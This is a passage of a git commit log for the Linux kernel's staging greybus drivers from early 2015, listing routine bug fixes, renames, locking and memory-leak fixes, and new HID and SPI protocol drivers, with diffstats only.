26164edb8fb467a4249fab159709a6cfc50ddc8c Author: Greg Kroah-Hartman Date: Tue Mar 24 20:06:41 2015 +0100 greybus: es1: no need to check for NULL on debugfs_remove() The function can, and even expects NULL, so don't check. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit cd674c8d4c3a1a9736ed1e9f8ec8f9ee2aaa26e0 Author: Greg Kroah-Hartman Date: Tue Mar 24 20:04:49 2015 +0100 greybus: es1: use and not Asm is only for when you are doing arch-specific stuff, which we aren't doing here. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2f4e236648d9c7f622518ec0098cd1cb6af21659 Author: Greg Kroah-Hartman Date: Tue Mar 24 20:03:39 2015 +0100 greybus: es1: fix tiny whitespace issues No trailing spaces or spaces before tabs are allowed. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 6c28f09658483dcfb1a7f2adc8160982c652bc83 Author: Greg Kroah-Hartman Date: Tue Mar 24 19:55:14 2015 +0100 greybus: es1: fix build warning for apb1_log_enable_write It's "const char __user *buf", not "char __user *buf". 'make check' is your friend. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 59e3344461baeab1a605543aec0ff9ddf209b20f Author: Alexandre Bailon Date: Mon Mar 23 17:52:37 2015 +0100 greybus: Dump log from APB1 On AP module (form factor), we don't have access to APBridge JTAG or UART. But sometime, we still need to get log from APBridge. Add a new request in control endpoint to get APBridge logs. Logs can be accessed using debugfs (greybus/apb1_log). Signed-off-by: Alexandre Bailon Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 136 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 136 insertions(+) commit 337b068722a21cbbd4c5e925f0ac90209b44a8a8 Author: Viresh Kumar Date: Fri Mar 20 20:29:13 2015 +0530 greybus: core: Don't initialize greybus if it is disabled Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 3 +++ 1 file changed, 3 insertions(+) commit 792c17e64383340a75579cdfc6b9b6d2b1647b43 Author: Johan Hovold Date: Thu Mar 19 16:55:23 2015 +0100 greybus: gpio: add error messages to callbacks not propagating errors Add error messages on failures to deactivate, set and get operation handlers as any errors would not be detected by the upper layers (either because the callbacks are declared void or expected to return a boolean value). Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 23 ++++++++++++++++++----- 1 file changed, 18 insertions(+), 5 deletions(-) commit 7bfa0781406f9df6cb20ce5134faa19d34cb4e18 Author: Johan Hovold Date: Thu Mar 19 16:55:22 2015 +0100 greybus: gpio: refuse to set value of input pins Add warning and refuse to set output value for pin configured as input, as the result of such an operation is undefined. Remove incorrect todo-comment suggesting that the driver could implicitly switch direction as part of the call. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) commit 64d2f4e5f94a95b23532efcbc3c955b5086bd890 Author: Johan Hovold Date: Thu Mar 19 16:51:17 2015 +0100 greybus: gpio: clean up line-state allocation Clean up allocation of line-state array. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) commit e5032d8511cdb0b7b594863effa2c2a685beaaa5 Author: Johan Hovold Date: Thu Mar 19 16:51:16 2015 +0100 greybus: gpio: use dev_err and dev_warn Use the more informative dev_err and dev_warn for messages, and make the messages more uniform. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 49 +++++++++++++++++++++++++----------------- 1 file changed, 29 insertions(+), 20 deletions(-) commit 86c6816158d79228162b6dc2e759e3769dd3ab09 Author: Johan Hovold Date: Thu Mar 19 16:51:15 2015 +0100 greybus: gpio: fix error handling Make sure to propagate any errors detected up the call chain. This specifically means that we will detect failed connection init, something which is now handled more gracefully by greybus core. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 49 ++++++++++++------------------------------ 1 file changed, 14 insertions(+), 35 deletions(-) commit 8aff1aceb28dd692a35f628479357896551ab4e9 Author: Johan Hovold Date: Thu Mar 19 16:51:14 2015 +0100 greybus: gpio: make gb_gpio_controller pointer naming consistent Rename all struct gb_gpio_controller-pointer variables "ggc" for consistency and readability reason. This also fixes a bunch of lines that exceeded the 80 columns limit. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 86 +++++++++++++++++++++--------------------- 1 file changed, 43 insertions(+), 43 deletions(-) commit bda7e2d1126f20c57f175c37c26c42b41ee4b64f Author: Johan Hovold Date: Thu Mar 19 16:51:13 2015 +0100 greybus: gpio: remove unnecessary explicit cast Remove unnecessary explicit cast of line value. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 83d9cddb85a0cc7497012846567d16add52916d4 Author: Johan Hovold Date: Thu Mar 19 16:51:12 2015 +0100 greybus: gpio: remove overly defensive argument verification Remove overly defensive argument verification in gpio-chip callbacks. We should trust gpiolib to get this right (or we would not even get any callback) just like the other gpio drivers do. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 22 ---------------------- 1 file changed, 22 deletions(-) commit 65f5a5f1614d1a3dab375588f5fd03590c87215b Author: Johan Hovold Date: Thu Mar 19 16:51:11 2015 +0100 greybus: gpio: remove redundant argument verification Remove redundant verification of gpio numbers (which have already been verified in the gpio-chip callbacks) from greybus-operation helpers. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 24 ------------------------ 1 file changed, 24 deletions(-) commit 56c2da1873d68b96458064a306e5bb4c50ccdb5d Author: Johan Hovold Date: Thu Mar 19 16:51:10 2015 +0100 greybus: gpio: remove incorrect todo comments The module reference count is incremented by gpiolib when a gpio is requested, and the driver callbacks certainly do sleep. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit c2a66106867343b5c5f017ccc724ba1c1aa9b540 Author: Johan Hovold Date: Thu Mar 19 16:51:09 2015 +0100 greybus: gpio: fix truncated debounce times Fix set_debounce, which silently truncated the time argument to 255us even though we support 16-bit values. Also remove the unnecessary explicit cast when verifying the argument. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit c0d209a07beb3550203bfa237d27433a1fbc9cee Author: Johan Hovold Date: Thu Mar 19 16:46:19 2015 +0100 greybus: operation: remove unnecessary cast Remove unnecessary cast of the message size in gb_connection_recv. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ee8f81b0961fa240ddf4d7740ac501606e4ed230 Author: Johan Hovold Date: Thu Mar 19 16:46:18 2015 +0100 greybus: operation: use dev_err in gb_operation_sync Use the more informative dev_err in gb_operation_sync, which includes the connection device name in the error message (which in turn encodes the module, interface, bundle and cport ids). Add missing braces to conditional-construct branches while at it. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) commit 25eb732954ee656edd92770f498d28f87086511b Author: Johan Hovold Date: Thu Mar 19 16:46:17 2015 +0100 greybus: connection: replace custom error function with dev_err Remove custom connection error function and replace it with dev_err. The standard error function provides more information in the message prefix (e.g. includes the interface id), has a well-known semantics (e.g. does does not add newlines to messages), and is even somewhat shorter to type. Note that some uses of the custom function were already adding double newlines due to the non-standard semantics. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 19 ------------------- drivers/staging/greybus/connection.h | 2 -- drivers/staging/greybus/i2c.c | 4 ++-- drivers/staging/greybus/operation.c | 14 +++++++------- drivers/staging/greybus/spi.c | 11 +++++------ 5 files changed, 14 insertions(+), 36 deletions(-) commit fe4c0e548aea5f4bc2df967db69d7d0b509327ef Author: Johan Hovold Date: Thu Mar 19 16:46:16 2015 +0100 greybus: ap: clean up svc link management error path Return immediately on bundle-init failure when processing SVC link up. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 69bae8910e558356a09f080a02b64d72a0990409 Author: Johan Hovold Date: Thu Mar 19 16:46:15 2015 +0100 greybus: ap: fix typo in comment Fix typo in svc_hotplug comment. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0b7534b86d672752babd18e061b0d869781e3615 Author: Johan Hovold Date: Thu Mar 19 16:46:14 2015 +0100 greybus: ap: fix svc handshake protocol check Fix incorrect SVC handshake protocol check, which would only bail out if both major and minor protocol versions supported by the SVC differed. Since we currently only support one version of the protocol, upgrade the debug message to warning and bail unless the protocol versions match perfectly for now. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit c020d568f5630d38b72b61a97a4d04f1428b9771 Author: Johan Hovold Date: Thu Mar 19 16:46:13 2015 +0100 greybus: usb: silence compiler warning This driver is being rewritten, but let's silence a pointer-to-int-cast compiler warning meanwhile. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/usb.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 292cca99fb9c04888880de4ea9a1984ffcc4e7bd Author: Viresh Kumar Date: Wed Mar 18 11:41:39 2015 +0530 greybus: hid: don't support OUTPUT report over interrupt channel There is no interrupt channel as such and so no need to support ->output_report(). Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/hid.c | 35 +++++++++-------------------------- 1 file changed, 9 insertions(+), 26 deletions(-) commit d71aaf288f7e79e7c7ed9893a1b4e28221d1b8d0 Author: Viresh Kumar Date: Thu Mar 19 17:02:49 2015 +0530 greybus: core: place module_{init|exit}() right below the routines To follow coding guidelines a bit :) Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 9ee2b61df14f0afe8d7df86d8eaa24e6d59a923b Author: Viresh Kumar Date: Thu Mar 19 17:02:48 2015 +0530 greybus: interface: remove double underscore from fn name Also bring * closer to gb_interface_get_drvdata :) Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3b6cf2ee3b726747b61285c36a76cc810b102c35 Author: Viresh Kumar Date: Thu Mar 19 17:02:46 2015 +0530 greybus: operation: Fix comment mistake Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 183f872eb1895359ad41b2f3570c37b212fc29c1 Author: Viresh Kumar Date: Thu Mar 19 17:02:45 2015 +0530 greybus: operation: s/status/result to match field name Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit e8f824b6589cd5477adf7a069e7c67918a6bb949 Author: Alexandre Bailon Date: Wed Mar 18 15:42:51 2015 +0100 greybus: Export greybus debugfs folder Add gb_debugfs_get method to access to gb_debug_root dentry, in order to use it from other greybus modules. Signed-off-by: Alexandre Bailon Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/debugfs.c | 6 ++++++ drivers/staging/greybus/greybus.h | 1 + 2 files changed, 7 insertions(+) commit afcf8c715e7cb615dad484913b70c714594ce159 Author: Johan Hovold Date: Tue Mar 17 18:24:30 2015 +0100 greybus: uart: remove packed-attribute from line-coding struct Remove packed-attribute from line-coding struct, whose members are all naturally aligned. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b41caa99a25f62326be451592c493de29347d142 Author: Johan Hovold Date: Tue Mar 17 18:24:29 2015 +0100 greybus: pwm: fix config-request alignment Fix alignment of the duty and period-fields in the config request, which should follow the which-field without any inserted padding. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/pwm.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit fcc4356de4601c83530928e05b041e4ac678fd6a Author: Johan Hovold Date: Tue Mar 17 18:24:28 2015 +0100 greybus: gpio: fix set-debounce request alignment Fix alignment of the usec-field in the set-debounce request, which should follow the which-field without any inserted padding. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 44538397e79987080adc619c6fd4edda92093d46 Author: Johan Hovold Date: Tue Mar 17 10:55:52 2015 +0100 greybus: connection: fix oops after failed init Make sure not to call connection_exit for connections that have never been initialised (e.g. due to failure to init). This fixes oopses due to null-dereferences and use-after-free in connection_exit callbacks (e.g. trying to remove a gpio-chip that has never been added) when the bundle and interface are ultimately destroyed. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 4 ++++ 1 file changed, 4 insertions(+) commit deeb57f5bd990f747815216ab772e92413848f6e Author: Johan Hovold Date: Tue Mar 17 10:55:51 2015 +0100 greybus: vibrator: fix memory leak in error path Fix memory leak in connection_init error path. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/vibrator.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 6a80ed4d2c26b5934f3bfb9beafe73a9c7946d34 Author: Johan Hovold Date: Tue Mar 17 10:55:50 2015 +0100 greybus: pwm: fix memory leak in error path Fix memory leak in connection_init error path. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/pwm.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 96eab779e1985fd0b39426d288d3af38e3bce50c Author: Viresh Kumar Date: Mon Mar 16 16:49:37 2015 +0530 greybus: hid: add HID class driver This adds HID transport layer driver for Greybus. Most of the stuff is implemented, but is untested. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 1 + drivers/staging/greybus/gpb.c | 7 + drivers/staging/greybus/hid.c | 565 +++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/protocol.h | 3 + 4 files changed, 576 insertions(+) commit b908dec468c95d51922cb72a076fde813622ee54 Author: Viresh Kumar Date: Tue Mar 10 14:41:12 2015 +0530 greybus: gpb: Fix print mistakes Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpb.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 8f5eadb7ea6a0c1cbedbfd33d9d0b94dac400d90 Author: Johan Hovold Date: Mon Mar 2 09:55:26 2015 +0100 greybus: connection: fix locking in gb_hd_connection_find Fix unconditional re-enabling of interrupts in gb_hd_connection_find, which can be called with local interrupts disabled from the USB completion handler. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit d1b20d72ae01a2846ed4cad7bfef0bea717ffb68 Author: Alexandre Bailon Date: Mon Mar 2 17:32:43 2015 +0100 greybus: gpio.c: fix a bad irq number When it receive an interrupt, the function gb_gpio_request_recv doesn't use the good gpio number to get the irq number. Then, the expected irq is never fired. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 184ab534de842a1baf08a0d7f3621b26bcea44dc Author: Johan Hovold Date: Mon Mar 2 12:34:40 2015 +0100 greybus: operation: fix locking issues Fix unconditional re-enabling of interrupts in various operation functions that can all be called with local interrupts disabled from USB completion handlers. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 24 ++++++++++++++---------- 1 file changed, 14 insertions(+), 10 deletions(-) commit 2bf4c87605879758f299953fa5cf4a4ecb6a4edb Author: Greg Kroah-Hartman Date: Mon Mar 2 08:52:07 2015 -0800 greybus: es2: fix USB id to not be the same as ES1 We don't want to bind to the ES1 device, that would be bad. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 35a64f2c492867e5e404b7620c5784603caae8f1 Author: Johan Hovold Date: Fri Feb 13 14:58:04 2015 +0800 greybus: gpio: fix memory leaks at init and exit Fix three related memory leaks in the init an exit callbacks, where the gpio-lines array was never freed at all and the controller data wasn't freed in the init error path. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) commit 036aad9d0224f6f29c08abe102df709a27f68c17 Author: Matt Porter Date: Tue Feb 17 10:48:23 2015 -0500 greybus: gpio: add interrupt handling support Adds gpio interrupt handling support using an irqchip/irqdomain instantiation inside the GB GPIO driver. This implementation works on older kernels such as 3.10 that do not have the gpiolib irqchip helpers. Any line on a Greybus gpiochip may be configured as an interrupt. Once configured, IRQ event messages received from a module fire off the registered interrupt handler. Signed-off-by: Matt Porter Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 326 +++++++++++++++++++++++++++++++++++++++-- 1 file changed, 314 insertions(+), 12 deletions(-) commit 48d7077c007d27851952861d002d660b552b9888 Author: Johan Hovold Date: Fri Feb 13 11:28:09 2015 +0800 greybus: bundle: fix sleep-while-atomic in gb_bundle_destroy Make sure to release the spin lock protecting the interface bundle lists before tearing down the connections and removing the bundle device, which are operations that may sleep. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 067f3b6bfaa132269756e4e6d0c61360f8d6a4b5 Author: Johan Hovold Date: Thu Feb 12 11:22:47 2015 +0800 greybus: connection: fix non-atomic allocations under spin lock Use GFP_ATOMIC for IDA memory allocations under spin lock, which must not sleep. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5f345a5d394270596f532db6611b12a1377fb622 Author: Matt Porter Date: Tue Feb 3 13:17:39 2015 -0500 greybus: operation: add missing gb_operation_response_send() export Export gb_operation_response_send() for other modules Signed-off-by: Matt Porter Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 1 + 1 file changed, 1 insertion(+) commit f4e6c817b377833a725ba0be80c29fbb59ffd0f7 Author: Viresh Kumar Date: Tue Jan 27 09:08:04 2015 +0530 greybus: spi:fix sparse warnings Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/spi.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit b3b983c2eee8e7464651caa63bbbd6ca4bb65830 Author: Michael Scott Date: Tue Jan 27 12:14:09 2015 -0800 greybus: build: android: Fix script which locates .ko files and moves them into ramdisk - Fixed incorrect use of $$GREYBUS_SRC_PATH variable - Added quotes around find pattern to stop shell expansion of "*" Signed-off-by: Michael Scott Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Android.mk | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 15d651b0dba16a81285686bf52f4d5b1656362d8 Author: Viresh Kumar Date: Fri Jan 23 13:07:45 2015 +0530 greybus: spi: add bridged-PHY spi protocol driver Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 1 + drivers/staging/greybus/gpb.c | 7 + drivers/staging/greybus/protocol.h | 3 + drivers/staging/greybus/spi.c | 443 +++++++++++++++++++++++++++++++++++++ 4 files changed, 454 insertions(+) commit 45a706368d9b162dde2455c305158131af37131d Author: Greg Kroah-Hartman Date: Thu Jan 22 21:19:25 2015 +0800 greybus: es1.c: wait until the last possible minute to start the svc messages When initializing the USB device, we were starting up the svc message queue before the cport urbs were allocated. This might not be an issue for "slower" machines, but not having any allocated urbs for a cport might be an issue if we were to handle svc messages. So wait until everything is properly initialized and allocated before starting the svc urb. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit e0b179ee782d80b31ccfe8cbcb1505cb703dfdbc Author: Greg Kroah-Hartman Date: Thu Jan 22 20:33:41 2015 +0800 greybus: ap.c: our workqueue should be ordered SVC messages come in in an "order", so don't mess them up by processing them out of order. Fix this by making our work queue ordered, which should keep everything in line. Reported-by: Perry Hung Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 58b978c48bcde959c81f0501be1fdee4b2823687 Author: Michael Scott Date: Thu Jan 22 16:22:47 2015 -0800 greybus: build: android: add all greybus modules to the build We now have several modules generated by the greybus build. Let's add any *.ko files we find to the buid. Signed-off-by: Michael Scott Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Android.mk | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 65760032f5887351537fb3d3e095392a8874aa88 Author: Michael Scott Date: Thu Jan 22 16:22:20 2015 -0800 greybus: build: android: replace hard-coded build destination with variable Make sure destination for greybus modules is consistent and easier to maintain Signed-off-by: Michael Scott Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Android.mk | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit 6869eb56ebe074bbd34de0fd5e63ad31cd578094 Author: Greg Kroah-Hartman Date: Fri Jan 23 10:06:24 2015 +0800 greybus: Revert "protocol: dedup protocol find code" This reverts commit 241b5fefc54eae95239b0f7dc4e2b0db49457729 as it's wrong, we want to insert into the correct place in the list. Reported-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/protocol.c | 35 +++++++++++++++++++++++++---------- 1 file changed, 25 insertions(+), 10 deletions(-) commit c1a0a8fccf92d825a6c324c3e2363fefdb3f19da Author: Greg Kroah-Hartman Date: Fri Jan 23 10:05:58 2015 +0800 greybus: Revert "protocol.c: fix a kernel panic caused by __gb_protocol_register" This reverts commit 57131bf309d34568dd3b8f8e9da7a7ba25e9495e, it isn't going to be needed as the patch this fixes will be reverted. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/protocol.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 62aadeeafa1585d6acf3e9b378eb554f57f3bc84 Author: Viresh Kumar Date: Thu Jan 22 12:10:38 2015 +0530 greybus: i2c: fix name conflict between function and struct: gb_i2c_transfer_request 'gb_i2c_transfer_request' is the name given to a function and a struct. Though we don't get any compilation errors/warnings about it, but the names should be unique. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/i2c.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit f281f2dec14231b5da8ca44100b4e2887724e5fd Author: Viresh Kumar Date: Thu Jan 22 12:42:39 2015 +0530 greybus: i2c: fix name conflict between function and struct: gb_i2c_transfer_response 'gb_i2c_transfer_response' is the name given to a function and a struct. Though we don't get any compilation errors/warnings about it, but the names should be unique. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/i2c.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit c2f792382bc23bddd67a5da72faf9d46bf0f3ef9 Author: Alexandre Bailon Date: Thu Jan 22 15:23:37 2015 +0800 greybus: protocol.c: fix a kernel panic caused by __gb_protocol_register __gb_protocol_register check if the protocol is not already registred, and then register it. It register in existing->lists but at this point, existing is always NULL (we exist just before if not). Use gb_protocols instead. Signed-off-by: Alexandre Bailon Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/protocol.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 89210f64bae6bd6bba90d9e08d1b88b4ba103f59 Author: Viresh Kumar Date: Wed Jan 21 18:12:37 2015 +0530 greybus: remove unused version-response structs These aren't used anymore and so can be removed. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery.c | 5 ----- drivers/staging/greybus/gpio.c | 6 ------ drivers/staging/greybus/i2c.c | 6 ------ drivers/staging/greybus/pwm.c | 6 ------ drivers/staging/greybus/uart.c | 5 ----- drivers/staging/greybus/usb.c | 5 ----- drivers/staging/greybus/vibrator.c | 5 ----- 7 files changed, 38 deletions(-) commit 36e79dec96f652110ae2b06bfcf9e67e1b770787 Author: Viresh Kumar Date: Wed Jan 21 18:12:36 2015 +0530 greybus: create get_version() routines with the help of a macro This gets rid of lots of duplication of code. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery.c | 28 ++-------------------------- drivers/staging/greybus/gpio.c | 27 +++------------------------ drivers/staging/greybus/i2c.c | 28 +++------------------------- drivers/staging/greybus/protocol.c | 26 ++++++++++++++++++++++++++ drivers/staging/greybus/protocol.h | 34 ++++++++++++++++++++++++++++++++++ drivers/staging/greybus/pwm.c | 28 +++------------------------- drivers/staging/greybus/uart.c | 29 ++--------------------------- drivers/staging/greybus/usb.c | 22 ++-------------------- drivers/staging/greybus/vibrator.c | 30 ++---------------------------- 9 files changed, 77 insertions(+), 175 deletions(-) commit 530430b717f02843fe1f2e77e6f52a41e05d6c3a Author: Viresh Kumar Date: Wed Jan 21 18:12:35 2015 +0530 greybus: uart: s/REQ/TYPE Request type for all other protocols is defined like: GB__TYPE_, but for UART is like: GB__REQ_. Replace REQ with TYPE to make it consistent. It will also be useful in a later patch that creates get_version() routines with the help of a macro. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) commit 98abb4146ed31f1ec97145ef808d864096d31c4b Author: Viresh Kumar Date: Wed Jan 21 16:10:41 2015 +0530 greybus: Remove "gb-" prefix from .c files Some files are still prefixed with "gb-" with the reasoning that the modules would be named so, i.e. gb-*.ko. But this can be done by playing a bit in Makefile instead and keep uniform naming of .c files. Lets try it. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 6 + drivers/staging/greybus/battery.c | 373 ++++++++++++++++++++ drivers/staging/greybus/es1.c | 618 ++++++++++++++++++++++++++++++++++ drivers/staging/greybus/es2.c | 618 ++++++++++++++++++++++++++++++++++ drivers/staging/greybus/gb-battery.c | 373 -------------------- drivers/staging/greybus/gb-es1.c | 618 ---------------------------------- drivers/staging/greybus/gb-es2.c | 618 ---------------------------------- drivers/staging/greybus/gb-vibrator.c | 227 ------------- drivers/staging/greybus/vibrator.c | 227 +++++++++++++ 9 files changed, 1842 insertions(+), 1836 deletions(-) commit 5357cf323110ee4a3f4a12870618eca28672c7b9 Author: Viresh Kumar Date: Wed Jan 21 16:10:40 2015 +0530 greybus: Remove "-gb" suffix from .c files Some files are prefixed with "gb-" and some are suffixed with "-gb". The rationale behind the first one is that the modules would be named so, i.e. gb-*.ko. But there is no reason to keep the "-gb" suffix in the second case. Remove the unnecessary suffix. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 12 +- drivers/staging/greybus/gpio-gb.c | 544 -------------------------- drivers/staging/greybus/gpio.c | 544 ++++++++++++++++++++++++++ drivers/staging/greybus/i2c-gb.c | 450 ---------------------- drivers/staging/greybus/i2c.c | 450 ++++++++++++++++++++++ drivers/staging/greybus/pwm-gb.c | 331 ---------------- drivers/staging/greybus/pwm.c | 331 ++++++++++++++++ drivers/staging/greybus/sdio-gb.c | 99 ----- drivers/staging/greybus/sdio.c | 99 +++++ drivers/staging/greybus/uart-gb.c | 787 -------------------------------------- drivers/staging/greybus/uart.c | 787 ++++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/usb-gb.c | 396 ------------------- drivers/staging/greybus/usb.c | 396 +++++++++++++++++++ 13 files changed, 2613 insertions(+), 2613 deletions(-) commit f587027e793cf8947c7cc408a2167db2b8218b15 Author: Greg Kroah-Hartman Date: Wed Jan 21 10:24:15 2015 +0800 greybus: es2: add ES2 Greybus Host driver This is just a copy of ES1 for now, things will start to diverge soon. Any common functionality will be factored out over time. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 1 + 